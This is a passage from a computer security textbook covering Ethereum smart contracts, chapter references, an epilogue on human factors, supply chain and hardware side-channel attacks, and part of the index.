tomized hardware. It requires considerable memory, with internal operations heavily
data-dependent and based on a seed updated every 30,000 blocks (about 5.2 days).
P ROGRAMMING LANGUAGES . Several languages are available for writing Ethereum
programs (contracts), including Solidity and Vyper (newer), and lower-level LLL (older).
Contract programs are compiled to bytecode for EVM execution.
14 As you will by now understand, our exercises often serve to cover additional details from further sources.
15 Confusingly, such a search tree is also called a trie—which is still pronounced tree, as in retrieve.
16 That this represents the true world state is conditional on the block being accepted as a consensus block.
13.9. ‡End notes and further reading 405
S MART CONTRACTS . Ethereum delivers a computing model for what are called de-
centralized applications (DApps), with the same program independently run on physically
distant machines and computation verified by peer nodes and consensus, without human
involvement. The vision is that arbitrary sets of rules, precisely captured by programs
often called smart contracts, can programmatically enforce transfers or agreements in-
volving digital assets, free of unpredictable regimes or jurisdictions, ambiguous laws and
external control. For context, we note some prominent contract categories (use cases).
1. Financial contracts, including insurance and group-funded ventures (DAO, below). This
goes beyond currency creation, transfer and management by simple exchange contracts.
2. Games and digital collectibles based on cryptocurrencies. (This may overlap the next
category.) Some players may be motivated by economic gain more than conventional fun.
3. Registration, management and transfer of virtual properties. Examples are name registra-
tion (Namecoin, below); trading and ownership tracking of unique digital assets (NFTs,
below); and authorship attribution systems that may reward content producer-publishers.
4. Digital notarization of records for real-world physical asset transfers. Ownership registra-
tion and history (provenance tracking) use the blockchain as an immutable, timestamped
log; linking a physical asset to the digital world here requires human involvement.
5. Virtual gambling and program-based casinos. Ponzi schemes are a related sub-category.
Exercise (The DAO). Smart contracts have been heavily promoted, but come with
challenges. For example, contract immutability is at odds with patching errors via updates.
The 2016 attack on The DAO (Decentralized Autonomous Organization) highlighted this.
Summarize this event and its warning for the future of smart contracts (hint: [50]).
Exercise (Namecoin). A Bitcoin-like system called Namecoin supports a decentral-
ized name registration and resolution system, built as a registry of name-value pairs. Sum-
marize its history, technical design, and deficiencies (hint: [31], also [42, §10.7]).
Exercise (Non-fungible tokens). (a) Explain the non-fungible token (NFT) concept.
(b) Explain how Ethereum, NFTs, and EIP-721 are related (hint: [23]). (c) Give a techni-
cal summary of CryptoKitties and how digital cats are bred and traded (hint: [29, 49]).
Exercise (Heaviest chain). Compare, using a diagram, Bitcoin’s main-branch consen-
sus approach and Ethereum’s heaviest-observed chain (hint: [51, Fig.3], [47]).
over a three-year period (2010–2012), and 38 of 80 over 2010–2015; see also Böhme [12]
for case studies on cryptocurrency vulnerabilities. Möser [40] analyzed all transaction fees
from 2009–2014. Bartoletti [6] studied practical use of the script opcode OPRETURN. For
mining hardware including ASICs, see Taylor [53] (cf. [42, Chapter 5]).
Bitcoin has a well-known reference implementation (Ethereum has several). The Pro-
tocol documentation page of the Bitcoin community wiki [9] describes the reference client
behavior, which implicitly specifies the Bitcoin protocol. A Bitcoin Developer Reference
[10] provides technical details and API information to encourage development of Bitcoin
applications. Blockchain explorers (an extensive list is available [8]) and related tools
(e.g., BlockSci [32]) enable search, display and analysis of public blockchain content.
Hashlinks may be characterized as specifying a verifiably unique object as their target,
and are also called hash pointers; linked lists using them are called authenticated linked
lists. Merkle hash trees (authentication trees) date to a 1979 thesis [37, Chapter 5]. Dis-
tributed consensus dates back to Lamport’s Byzantine Generals problem [33].
The Bitcoin Improvement Proposal (BIP) process is explained by Dashjr [20]. BIP32
[56] popularized hierarchical deterministic (HD) and watch-only wallets; see Gutoski [28]
for HD wallet flaws and references, and Eskandari [24] for Bitcoin key management, the
usability of client software, and wallet strategies. BIP141 [34] (SegWit for segregated
witness), activated 24 August 2017, separates unlocking signatures and scripts from a
transaction’s input section, allowing maximum block size to increase from 1 Mb to 2–4
Mb (depending on transaction details). On Bitcoin cryptography, for ECDSA see Johnson
[30], FIPS 186 [44], and Brown [15] for the secp256k1 curve; for SHA256 see FIPS 180
[45]. Menezes [36, page 350] summarizes the RIPEMD160 specification [14]. KECCAK-
256 is the basis for SHA-3 [46] algorithms, and used in Ethereum.
Ethereum’s white paper [17] giving Buterin’s 2013 vision includes two short con-
tract code examples. The yellow paper [55] formally specifies the Ethereum protocol,
including its modified Merkle Patricia Tree (cf. exercise, page 404),17 fee schedule, EVM
and Ethash (resp. in appendices D, G, H, J); a companion beige paper [19] offers a gen-
tler overview. Informally, Ethereum messages are sometimes called internal transactions
(but never appear on the blockchain). Ethereum.org [26] provides collected resources,
promoting Ethereum as “the world’s programmable blockchain”. Ethereum uses a sim-
plification [47] of a heuristic called Greedy Heaviest-Observed Sub-Tree (GHOST) [51],
basing chain selection on the heaviest path (involving the most computation); and plans
to migrate to a proof-of-stake mining model [5]. Atzei [2] systematizes programming pit-
falls and attacks on Ethereum smart contracts, as well as Bitcoin’s use for smart contracts
[3] despite a primitive scripting language and vulnerabilities (cf. [4]). Regarding smart
contracts—which are arguably neither smart nor contracts—for early formative ideas see
Szabo [52], for an introduction to programming them see Delmolino [22], for empirical
analysis see Bartoletti [7], and for broader discussion of decentralized applications see
Cai [18]. Potentially irrecoverable financial losses (as with The DAO, page 405) motivate
greater attention to security analysis methodologies and tools for smart contracts [54, 35].
17 Patricia is from: Practical Algorithm to Retrieve Information Coded in Alphanumeric, a 1968 paper.
References (Chapter 13)
[1] A. M. Antonopoulos. Mastering Bitcoin: Unlocking Digital Cryptocurrencies. O’Reilly. Dec 2014,
openly available, https://en.bitcoin.it/wiki/Mastering_Bitcoin. (Second edition: 2017).
[2] N. Atzei, M. Bartoletti, and T. Cimoli. A survey of attacks on Ethereum smart contracts (SoK). In
Principles of Security and Trust (POST), pages 164–186, 2017. Springer LNCS 10204.
[3] N. Atzei, M. Bartoletti, T. Cimoli, S. Lande, and R. Zunino. SoK: Unraveling Bitcoin smart contracts.
In Principles of Security and Trust (POST), pages 217–242, 2018. Springer LNCS 10804.
[4] N. Atzei, M. Bartoletti, S. Lande, and R. Zunino. A formal model of Bitcoin transactions. In Financial
Crypto, pages 541–560, 2018.
[5] S. Bano, A. Sonnino, M. Al-Bassam, S. Azouvi, P. McCorry, S. Meiklejohn, and G. Danezis. SoK:
Consensus in the age of blockchains. In ACM Advances Financial Tech. (AFT), pages 183–198, 2019.
[6] M. Bartoletti and L. Pompianu. An analysis of Bitcoin OP RETURN metadata. In Financial Cryptog-
raphy Workshops, pages 218–230, 2017. Springer LNCS 10323.
[7] M. Bartoletti and L. Pompianu. An empirical analysis of smart contracts: Platforms, applications, and
design patterns. In Financial Cryptography Workshops, pages 494–509, 2017. Springer LNCS 10323.
[8] Bitcoin community. “Block chain browser” page. https://en.bitcoin.it/wiki/Block_chain_
browser. An example of a popular block explorer is: https://blockchain.com/explorer.
[9] Bitcoin community. Bitcoin wiki, 2020. https://en.bitcoin.it/wiki/ (with “Protocol documen-
tation” page describing the reference client behavior).
[10] bitcoin.org. Bitcoin Developer Reference and Guides (for diagrams). https://developer.bitcoin.
org/reference/ and https://developer.bitcoin.org/devguide/index.html.
[11] R. Böhme, N. Christin, B. Edelman, and T. Moore. Bitcoin: Economics, technology and governance.
Journal of Economic Perspectives, 29(2):213–238, 2015.
[12] R. Böhme, L. Eckey, T. Moore, N. Narula, T. Ruffing, and A. Zohar. Responsible vulnerability disclo-
sure for cryptocurrencies. Comm. ACM, 63(10):62–71, 2020.
[13] J. Bonneau, A. Miller, J. Clark, A. Narayanan, J. A. Kroll, and E. W. Felten. SoK: Research perspectives
and challenges for Bitcoin and cryptocurrencies. In IEEE Symp. Security and Privacy, 2015.
[14] A. Bosselaers and B. Preneel. Final Report of RACE Integrity Primitives Evaluation RIPE-RACE 1040.
Springer LNCS 1007, 1995.
[15] D. R. Brown. Standards for Efficient Cryptography (SEC 2): Recommended Elliptic Curve Domain
Parameters. Certicom Research, 27 Jan 2010 (version 2.0).
[16] E. Buchman. Understanding the Ethereum trie, Jan. 2014. Online, https://easythereentropy.
wordpress.com/2014/06/04/understanding-the-ethereum-trie.
[17] V. Buterin. A next generation smart contract and decentralized application platform, 2013. Ethereum
whitepaper.
[18] W. Cai, Z. Wang, J. B. Ernst, Z. Hong, C. Feng, and V. C. M. Leung. Decentralized applications: The
blockchain-empowered software system. IEEE Access, 6:53019–53033, 2018.
407
408 References (Chapter 13)
[19] M. Dameron. Beigepaper: An Ethereum technical specification. v0.8.5 (15 Aug 2019).
[20] L. Dashjr. BIP2: BIP process, revised. 3 Feb 2016, https://github.com/bitcoin/bips/blob/
master/bip-0002.mediawiki. For other BIPs see: https://github.com/bitcoin/bips/.
[21] C. Decker and R. Wattenhofer. Bitcoin transaction malleability and MtGox. In Eur. Symp. Res. in
Comp. Security (ESORICS), pages 313–326, 2014. Springer LNCS 8713 (proceedings, part II).
[22] K. Delmolino, M. Arnett, A. E. Kosba, A. Miller, and E. Shi. Step by step towards creating a safe smart
contract: Lessons and insights from a cryptocurrency lab. In Financial Cryptography Workshops, pages
79–94, 2016. Springer LNCS 9604.
[23] W. Entriken, D. Shirley, J. Evans, and N. Sachs. EIP-721: ERC-721 Non-Fungible Token Standard.
Ethereum Improvement Proposal no.721, Jan 2018, https://eips.ethereum.org/EIPS/eip-721.
[24] S. Eskandari, D. Barrera, E. Stobert, and J. Clark. A first look at the usability of Bitcoin key manage-
ment. In NDSS Workshop on Usable Security (USEC), 2015.
[25] Ethereum Wiki. Patricia Tree—Modified Merkle Patricia Trie Specification (also Merkle Patricia Tree).
April 2021, https://eth.wiki/en/fundamentals/patricia-tree.
[26] ethereum.org. Online resources from the Ethereum community. https://www.ethereum.org.
[27] A. Greenberg. Nakamoto’s neighbor: My hunt for Bitcoin’s creator led to a paralyzed crypto genius.
Forbes, 25 Mar 2014.
[28] G. Gutoski and D. Stebila. Hierarchical deterministic Bitcoin wallets that tolerate key leakage. In
Financial Crypto, pages 497–504, 2015.
[29] X.-J. Jiang and X. F. Liu. CryptoKitties transaction network analysis: The rise and fall of the first
blockchain game mania. Frontiers in Physics, 9. Article 631665, 1–12 (Mar 2021).
[30] D. Johnson, A. Menezes, and S. Vanstone. The elliptic curve digital signature algorithm (ECDSA).
International J. of Information Security, 1(1):36–63, 2001.
[31] H. A. Kalodner, M. Carlsten, P. Ellenbogen, J. Bonneau, and A. Narayanan. An empirical study of
Namecoin and lessons for decentralized namespace design. In WEIS, 2015.
[32] H. A. Kalodner, M. Möser, K. Lee, S. Goldfeder, M. Plattner, A. Chator, and A. Narayanan. BlockSci:
Design and applications of a blockchain analysis platform. In USENIX Security, 2020.
[33] L. Lamport, R. E. Shostak, and M. C. Pease. The Byzantine Generals problem. ACM Trans. Program.
Lang. Syst., 4(3):382–401, 1982. Reprinted in Concurrency: The Works of Leslie Lamport, ACM, 2019.
[34] E. Lombrozo, J. Lau, and P. Wuille. BIP141: Segregated Witness (Consensus Layer). 21 Dec 2015,
https://github.com/bitcoin/bips/blob/master/bip-0141.mediawiki.
[35] L. Luu, D. Chu, H. Olickel, P. Saxena, and A. Hobor. Making smart contracts smarter. In ACM Comp.
& Comm. Security (CCS), pages 254–269, 2016.
[36] A. J. Menezes, P. C. van Oorschot, and S. A. Vanstone. Handbook of Applied Cryptography. CRC
Press, 1996. Openly available, https://cacr.uwaterloo.ca/hac/.
[37] R. C. Merkle. Secrecy, Authentication, and Public Key Systems. PhD thesis, Electrical Engineering,
Stanford University, June 1979.
[38] T. Moore and N. Christin. Beware the middleman: Empirical analysis of Bitcoin-exchange risk. In
Financial Crypto, pages 25–33, 2013. Updated with J. Szurdi in: “Revisiting the risks of Bitcoin
currency exchange closure”, ACM TOIT 18(4) 50:1–18, 2018.
[39] P. Morin. Chapter 7: Data Structures for Strings. Section 7.3: Tries, and Section 7.4: Patricia Trees.
Lecture notes—COMP 5408, Carleton University (Canada), Jan 2014, https://cglab.ca/˜morin/
teaching/5408/notes/strings.pdf.
[40] M. Möser and R. Böhme. Trends, tips, tolls: A longitudinal study of Bitcoin transaction fees. In
Financial Cryptography Workshops, pages 19–33, 2015. Springer LNCS 8976.
References (Chapter 13) 409
[41] S. Nakamoto. Bitcoin: A peer-to-peer electronic cash system, Oct 2008. Unrefereed paper.
[42] A. Narayanan, J. Bonneau, E. Felten, A. Miller, and S. Goldfeder. Bitcoin and Cryptocurrency Tech-
nologies: A Comprehensive Introduction. Princeton University Press, 2016. Open prepublication draft
(9 Feb 2016) available via the Princeton page: http://bitcoinbook.cs.princeton.edu/.
[43] A. Narayanan and J. Clark. Bitcoin’s academic pedigree. Comm. ACM, 60(12):36–45, 2017.
[44] NIST. FIPS 186-4: Digital Signature Standard. U.S. Dept. of Commerce, July 2013.
[45] NIST. FIPS 180-4: Secure Hash Standard (SHS). U.S. Dept. of Commerce, Aug 2015.
[46] NIST. FIPS 202: SHA-3 Standard—Permutation-Based Hash and Extendable-Output Functions. U.S.
Dept. of Commerce, Aug 2015. SHA-3 functions are each based on KECCAK algorithm instances.
[47] F. Ritz and A. Zugenmaier. The impact of uncle rewards on selfish mining in Ethereum. In IEEE
EuroS&P Workshops, pages 50–57, 2018.
[48] S. Ruoti, B. Kaiser, A. Yerukhimovich, J. Clark, and R. K. Cunningham. Blockchain technology: What
is it good for? Comm. ACM, 63(1):46–53, 2020.
[49] A. Serada, T. Sihvonen, and J. T. Harviainen. CryptoKitties and the new ludic economy: How
blockchain introduces value, ownership, and scarcity in digital gaming. Games and Culture, 16(4):457–
480, 2021.
[50] D. Siegel. Understanding the DAO attack. CoinDesk media, 25 June 2016, https://www.coindesk.
com/understanding-dao-hack-journalists.
[51] Y. Sompolinsky and A. Zohar. Secure high-rate transaction processing in Bitcoin. In Financial Crypto,
pages 507–527, 2015.
[52] N. Szabo. Formalizing and securing relationships on public networks. First Monday, 2(9), 1997.
https://firstmonday.org/ojs/index.php/fm/article/view/548.
[53] M. B. Taylor. The evolution of Bitcoin hardware. IEEE Computer, 50(9):58–66, 2017.
[54] P. Tsankov, A. M. Dan, D. Drachsler-Cohen, A. Gervais, F. Bünzli, and M. T. Vechev. Securify:
Practical security analysis of smart contracts. In ACM Comp. & Comm. Security (CCS), 2018.
[55] G. Wood. Ethereum: A secure decentralized generalised transaction ledger, 2019. Ethereum yellowpa-
per, Petersburg version, 8 Jun 2020.
[56] P. Wuille. BIP32: Hierarchical Deterministic Wallets. 11 Feb 2002, https://en.bitcoin.it/wiki/
BIP_0032. Cf. “Deterministic wallet”, https://en.bitcoin.it/wiki/Deterministic_wallet.
[57] C. Yue, Z. Xie, M. Zhang, G. Chen, B. C. Ooi, S. Wang, and X. Xiao. Analysis of indexing structures
for immutable data. In ACM Int. Conf. on Management of Data (SIGMOD), pages 925–935, 2020.
[58] A. Zohar. Bitcoin: Under the hood. Comm. ACM, 58(9):104–113, 2015.
Epilogue
The End. Or perhaps you prefer: And They Lived Happily Ever After.
But our story is not so simple. We are closer to the beginning than the end.
In this closing commentary—in contrast to the rest of the book, which aimed to present
generally accepted facts and consensus views—we include also personal views and opin-
ions, warning that these may change as we learn more and environments evolve.
Having read major portions of this book, you now have a solid background: you have
learned some key approaches and principles to help build security into systems, you have
a better understanding of what can go wrong, and you are better able to recognize and
mitigate risks in your own use of computer systems. As new security students are told:
we must learn to walk before we can run. If you have read this book—ideally, as part of
a course supplemented by hands-on, programming-based assignments—you are now at
walking speed. Do you know everything there is to know about computer security and the
Internet? It is my duty to now inform you that this is not the case.
We have covered quite a bit of ground. But most of it has involved relatively small, in-
dividual pieces—important basic mechanisms for security, applications highlighting how
such tools have been applied, and pointers into the literature (a few of which you followed,
if you were keen). Which of these are standard tools, and which are the jewels, depends
in part on personal perspective. Chapter 1 ended by considering: “Why computer security
is hard”. We now have better context from which to pursue this question, but rather than
return to elaborate one by one on the items noted, we selectively consider a few issues
more deeply, and as usual, provide a few stepping-stone references into the literature.
H UMAN FACTORS . Security experts in academia typically have a primary back-
ground in mathematics, computer science or engineering. Only in the past 15 years has
it become more widely appreciated that expertise from the fields of psychology and cog-
nitive science is of critical importance to understand how usability affects security, and
vice versa. How people think and make security-related decisions when using computer
systems—involving human factors issues—is more difficult to predict than purely techni-
cal elements. Traditional formal analysis methods are typically unsuitable here—there is
a disconnect between how we behave as humans, and the tools historically used to reason
about technical systems. Some experts believe that the stronger technical protections be-
come, the more we will see social engineering as a non-technical attack vector. This book
has only scratched the surface of usable security, e.g., in discussing passwords, phish-
ing, and web security indicators. Beyond the references suggested in the Chapter 9 end
411
412 Epilogue
problem—for an introduction, see Datta [3]. A simpler problem is secure protocol compo-
sition [2]. Related to this is the concept of an emergent property within a system—which
by one definition [16], is a property not satisfied by all individual components, but by their
composition. Such a property may be problematic (if it enables attacks) or beneficial (if it
stops attacks). The state of the art is that we know little about emergent security properties
in real systems—thus establishing trustworthiness in practice remains largely out of reach.
Nonetheless, a starting point is to build real-world components in some manner by which
we gain high confidence in selected security properties, e.g., building components that
rule out entire classes of known attacks. It is for this reason that real-world systems such
as Multics (see Chapter 5 references) and CHERI [14] (mentioned also in the Foreword)
are worth examining as detailed case studies.
M ISPLACED TRUST AND SOFTWARE UPDATE . In December 2020, it was found
that malicious software had been inserted into the source code of Orion, a legitimate mon-
itoring and management tool from SolarWinds. Its software update then, despite being
signed, distributed malware to otherwise trusted systems of many thousands of enter-
prises, including US government agencies and major companies. While this event ranks
among the highest-impact software attacks ever, the idea was raised already in the 1972
Anderson report [1], which as mentioned in the end notes of Chapter 5, pointed out the
need to trust the entire computer manufacturing supply chain. Such an insider attack,
or software supply chain attack, is beyond the scope of traditional testing (above). This
raises difficult questions about the pros and cons of automated software update, now heav-
ily relied on in many applications for timely security vulnerability patching, yet resulting
in systems with a code base in constant flux, and subject to this powerful attack vector [8].
T RUSTING HARDWARE . That hardware is trustworthy is an assumption that is al-
most always implicit and rarely discussed. Yet hardware may nonetheless have embedded
malicious functionality, distinct from issues of robustness and dependability. A separate
issue is classes of attacks that exploit hardware artifacts resulting from performance op-
timizations on commodity processors, e.g., leaking sensitive kernel information in cache
memory through use of speculative execution. These attacks include Meltdown (see the
end of Section 7.4), Spectre [7], and (impacting SGX hardware) Foreshadow [13]. These
are side-channel attacks in that the attack vectors involve non-standard access channels.
We now understand that most of today’s software runs on commodity hardware that be-
haves differently than the relatively simple security models assumed until very recently.
Attacks are enabled by this gap between a typical programmer’s model of their target
CPU, and the finer-grained state transitions of actual hardware, which may be viewed as
a weird machine subject to serious exploitation—as Dullien [5] explains.
A DIEU. This ends our selective tour of issues that complicate security in practice.
The details of these, and many other important topics, are not explored herein. It should
be clear that our journey is just beginning. I wish you well on your path to enlightenment.
References (Epilogue)
[1] J. P. Anderson. Computer Security Technology Planning Study (Vol. I and II, “Anderson report”). James
P. Anderson and Co., Fort Washington, PA, USA, Oct 1972.
[2] A. Datta, A. Derek, J. C. Mitchell, and D. Pavlovic. Secure protocol composition. In ACM Workshop
on Formal Methods in Security Engineering (FMSE), pages 11–23, 2003.
[3] A. Datta, J. Franklin, D. Garg, L. Jia, and D. K. Kaynar. On adversary models and compositional
security. IEEE Security & Privacy, 9(3):26–32, 2011.
[4] D. Denning. The limits of formal security models. National Computer Systems Security Award
acceptance speech, Oct 1999. https://faculty.nps.edu/dedennin/publications/National%
20Computer%20Systems%20Security%20Award%20Speech.htm.
[5] T. Dullien. Weird machines, exploitability, and provable unexploitability. IEEE Trans. Emerging Topics
in Computing, 8(2):391–403, 2020. For background on weird machines, see also: https://www.cs.
dartmouth.edu/˜sergey/wm/.
[6] C. Herley and P. C. van Oorschot. Science of security: Combining theory and measurement to reflect
the observable. IEEE Security & Privacy, 16(1):12–22, 2018.
[7] P. Kocher, J. Horn, A. Fogh, D. Genkin, D. Gruss, W. Haas, M. Hamburg, M. Lipp, S. Mangard,
T. Prescher, M. Schwarz, and Y. Yarom. Spectre attacks: Exploiting speculative execution. In IEEE
Symp. Security and Privacy, 2019.
[8] F. Massacci and T. Jaeger. SolarWinds and the challenges of patching: Can we ever stop dancing with
the devil? IEEE Security & Privacy, 19(2):14–19, 2021.
[9] J. Nielsen and R. L. Mack, editors. Usability Inspection Methods. Wiley & Sons, 1994.
[10] J. Nielson. Heuristic evaluation. 1994. Pages 25-64 in [9].
[11] D. Norman. The Design of Everyday Things. Basic Books, 1988.
[12] M. Torabi Dashti and D. A. Basin. Security testing beyond functional tests. In Engineering Secure
Software and Systems (ESSoS), pages 1–19, 2016. Springer LNCS 9639.
[13] J. Van Bulck, M. Minkin, O. Weisse, D. Genkin, B. Kasikci, F. Piessens, M. Silberstein, T. F. Wenisch,
Y. Yarom, and R. Strackx. Foreshadow: Extracting the keys to the Intel SGX kingdom with transient
out-of-order execution. In USENIX Security, pages 991–1008, 2018.
[14] R. N. M. Watson, R. M. Norton, J. Woodruff, S. W. Moore, P. G. Neumann, J. Anderson, D. Chisnall,
B. Davis, B. Laurie, M. Roe, N. H. Dave, K. Gudka, A. Joannou, A. T. Markettos, E. Maste, S. J.
Murdoch, C. Rothwell, S. D. Son, and M. Vadera. Fast protection-domain crossing in the CHERI
capability-system architecture. IEEE Micro, 36(5):38–49, 2016. See also: ASPLOS 2019.
[15] C. Wharton, J. Rieman, C. Lewis, and P. Polson. The cognitive walkthrough method: A practitioner’s
guide. 1994. Pages 84-89 in [9].
[16] A. Zakinthinos and E. S. Lee. Composing secure systems that have emergent properties. In IEEE
Computer Security Foundations Workshop (CSFW), pages 117–122, 1998.
414
Index 417
Anderson report (1972) 152 ... (wireless) message injection 347, 358
Anderson report (1980) 332 ... (wireless) replay 347, 364, 370
Android (OS) 146 ... (wireless) scanning, see: scanning (wireless)
Annual Loss Expectancy (ALE) 7 ... see also: denial of service, dictionary, exhaus-
anomaly-based IDS, see: IDS tive search, impersonation, middle-person, so-
anonymity 4, 239, 378 cial engineering, WLAN (threats)
antenna (directional, high-gain, omni-directional) 345 attack libraries 27
anti-detection (malware) 191 attack models (biometrics) 87
anti-virus 185, 190, 197, 313, 320 attack models (ciphers) 32
ANX (Automotive Network eXchange) 224 ... chosen-ciphertext 32
AP (access point, 802.11) 340–341 ... chosen-plaintext 32, 354
... access point mapping 345 ... ciphertext-only 32
API hooking, see: hooking ... known-plaintext 32, 111, 354–356, 359–360
application-level filter, see: firewall attack patterns 178
Argon2 (hashing) 61, 86 attack surface 20–21, 78, 238, 287, 319, 327
arguments (argv) 177 attack trees 13–14
Arithmetic Logic Unit, see: ALU attack vector 5, 13–14, 26, 320, 327
ARM (ARMv7) 151, 178 attacker 5, 195
ARP (Address Resolution Protocol) 303, 327, 334, ... active vs. passive 32, 102
360 attribute (certificate) 215
... cache 328 attribution (accountability) 4
... cache poisoning 328 audit log 23, 129, 133, 196, 250, 283, 287, 310–311,
... tables 328 315–316, 332
ARP spoofing (of MAC address) 316, 325, 328–329, audit trail, see: audit log
331, 334 AUTH TLS 254
... defenses 328 authenticated data structure 403, 406
arpspoof (tool) 329 authenticated encryption (AE) 36, 47–49, 51, 253–
AS (authentication server, 802.11) 340–341, 348, 254, 274, 361, 366
350 ... CCM mode 47–49, 51, 274, 361
ASCII character 34, 107, 203, 236, 265–266 ... GCM mode 49, 51, 274, 369
ASLR (Address Space Layout Randomization) 170, ... generic composition 47–48
173, 179 ... OCB mode 51
assembly language 163, 208 authenticated key establishment (key exchange) 92,
asset 4 94, 105, 120, 253, 294
associated state (802.11) 342–344 authentication 3, 56, 92, 214
association (802.11) 342–343, 346, 348, 353 ... authentication cookie (browser) 260, 265
... request 342–343 ... factors vs. signals 70
assumptions 11, 16, 18, 24, 27, 71, 165, 412–413 ... in 802.11, see: low-level, upper-layer
assurance 19–20 ... remote authentication 71–73, 214
asymmetric cryptography, see: public-key crypto ... see also: challenge-response, data authentication,
atomic transactions 158 entity authentication, user authentication
ATT (Automated Turing Test) 80 Authentication Header (IPsec), see: AH
attack (approaches, methods) 5, 27, 99 authentication path, see: Merkle path authentication
... active vs. passive 32, 94, 102, 107, 254, 345–346, authentication protocol 92–94, 97–100
360, 368 ... hybrid 94
... breadth-first search 57, 84 ... mistakes 97–99
... brute-force 23, 61, 107 authentication server (802.11), see: AS
... forward search 68, 99, 111–113 authentication token (authenticator) 65, 69, 113–114
... generic vs. targeted 8, 10, 57, 60, 66 authentication tree, see: Merkle authentication tree
... interleaving 66, 98–99, 120 authentication-only protocols 93, 112
... network-based 310, 320–332 authenticator (token), see: authentication token
... pre-capture (pre-play) 68, 99 authenticator (802.11) 341, 343, 348–350
... precomputation (hash function) 44 authenticity 214
... reflection 98–99 Authenticode (code signing) 208
... relay 98–99, 103, 269 authorization 3, 56, 214
... replay 40, 67, 97, 99, 254, 302 authorship attribution system 405
Index 419
check on first use (COFU) 220 compatibility 25, 78, 86, 150, 172, 174, 235, 238,
checksum 3, 41, 111, 305 265, 269
CHERI capabilities 151, 413 compelled certificate attack 234, 241
Chernobyl virus (CIH) 189 compiler 196–197, 199
chgrp (command) 136 complete mediation, see: design principles
child process (OS) 137, 171, 175–177 complete network 225
chmod (command) 136 computational security 33, 42
chokepoint 21, 285 computer security 2, 5, 18
chop-chop attack (wireless) 346 Concept virus 189
chosen-ciphertext attack, see: attack models (ciphers) conditional probabilities 313
chosen-plaintext attack, see: attack models (ciphers) confidentiality 3–4, 229
chown (command) 136 Conficker (worm botnet) 208
chrome, see: browser (chrome) configuration errors 317
chroot (system call) 142, 151, 333 confinement problem 152
... chroot jail, see: jail confounder 99, 112, 354
cipher 32–34 confused deputy 200, 262
... classical 51 congruence (modular arithmetic, mod p) 38–39, 50,
... common 49 115–119, 252
ciphertext 31 CONNECT (HTTP request method), see: HTTP (CON-
ciphertext-only attack, see: attack models (ciphers) NECT)
circuit-level proxy, see: firewall (proxy) connection forwarding 293
claimant 92–93 connection-oriented 304
clandestine user 332 connectionless 304
Clang (compiler) 164 connectivity 25
classification level (clearance) 144 consensus, see: Bitcoin (consensus), Ethereum (con-
classification of attackers, see: adversary model sensus), distributed consensus
clearance, see: classification level content body (email message) 235–236
cleartext, see: plaintext Content Delivery Network, see: CDN
clone (OS process) 176–177 content header (email message) 235–236
cmd.exe (Windows) 177 content inspection 286, 290-291, 299
CMP (Certificate Management Protocol) 216, 241 ... see also: deep packet inspection
CMS (Cryptographic Message Syntax) 241 content scanning (email) 238, 240
code account (Ethereum) 399, 402 content scanning (HTTPS) 254
code inspection (manual) 11, 179 Content Security Policy (CSP) 265, 275
code point, see: character encoding contextualized signatures (IDS) 333
Code Red (worm) 208 contract (Ethereum) 399
Code Red II (worm) 192 ... contract account, see: code account
code signing 185, 208, 221 ... creation 400
cognitive walkthrough (usability) 412 ... see also: smart contract
coin (virtual) 376 control flow (integrity) 161, 169–170, 173–174, 179,
... owner 378, 382 208, 315
coinbase transaction (Bitcoin) 381–382, 385, 387– control frames, see: frame types (802.11)
388, 391, 394 cookie (HTTP), see: HTTP cookie
... output hold 393 COPS (scanner) 319, 333
collision (hashing) 42, 44, 51 CORS (cross-origin resource sharing) 275
... collision resistance 42–43, 385, 395 cost-benefit analysis 8, 174
... see also: WEP (IV collision) counter mode with CBC-MAC, see: CCM
combining encryption and MAC, see: order of countermeasure 6
combining signing and encrypting, see: order of covert channel 29, 152
command and control (botnet) 203–204, 325 cp (copy) 293
command line argument 167, 169 CPS (Certificate Practice Statement) 230
command line interpreter, see: shell CRC (Cyclic Redundancy Code) 42
command shell, see: shell ... use in 802.11: 342, 352, 355, 358, 369
commit (to a value) 385 ... linearity of 356
community of trust 113, 221–222, 225–229, 238– credential 100, 113, 264, 271
240 ... credential manager 113
Index 423
credentialed scanning 317, 333 data frames, see: frame types (802.11)
CRL (certificate revocation list), see: certificate re- data integrity, see: integrity
vocation data link (OSI layer 2) 300, 328
cross-check 24, 173, 198, 218, 220, 230, 232, 239, data origin authentication (data authentication, mes-
294, 395, see also: independent confirmation sage authentication) 3–4, 39, 45–47, 253, 334,
cross-frame communications 274 355, 358
cross-origin communications 274 data remanence, see: secure deletion
cross-site request forgery, see: CSRF data segment (OS) 167–168
cross-site scripting, see: XSS data-type validation, see: design principles
cross-view difference (rootkit detection) 200 database, see: SQL
cruiseliner certificate 234 datablock (filesystem) 138, 140, 142, 157
crypto-strength key vs. weak secret 95 datagram 300, 302–305
cryptocurrency xv, 376, 397, 399, 405 DDoS (distributed denial of service) 203, 207, 234,
... bitcoin, see: BTC 321, 325, 333, see also: DoS
... ether, see: ETH ... toolkits 325
... see also: Bitcoin, Ethereum, Namecoin deauthenticate frame (802.11) 344, 346, 360, 369
cryptocurrency vulnerability studies 406 debug (command) 194
cryptographic key, see: key decentralized applications, see: DApps
Cryptographic Message Syntax, see: CMS decentralized CA trust 227–228
cryptographic protocol 92, 120, 214 decentralized computing platform 376, 399
cryptography 30–53, 92, 214, see also: Bitcoin (cryp- decentralized name registration and resolution 405
tographic algorithms), WEP (use in RC4) deceptive URL (look-alike) 270
CryptoKitties 405 decryption 30–31, see also: block cipher, public key
cryptosystem 31 cryptography, RSA, stream cipher
cryptovirology (ransomware) 208 deep packet inspection 287
CSRF (cross-site request forgery) 261–262, 264, 275 default deny (rulesets) 284–285, 287
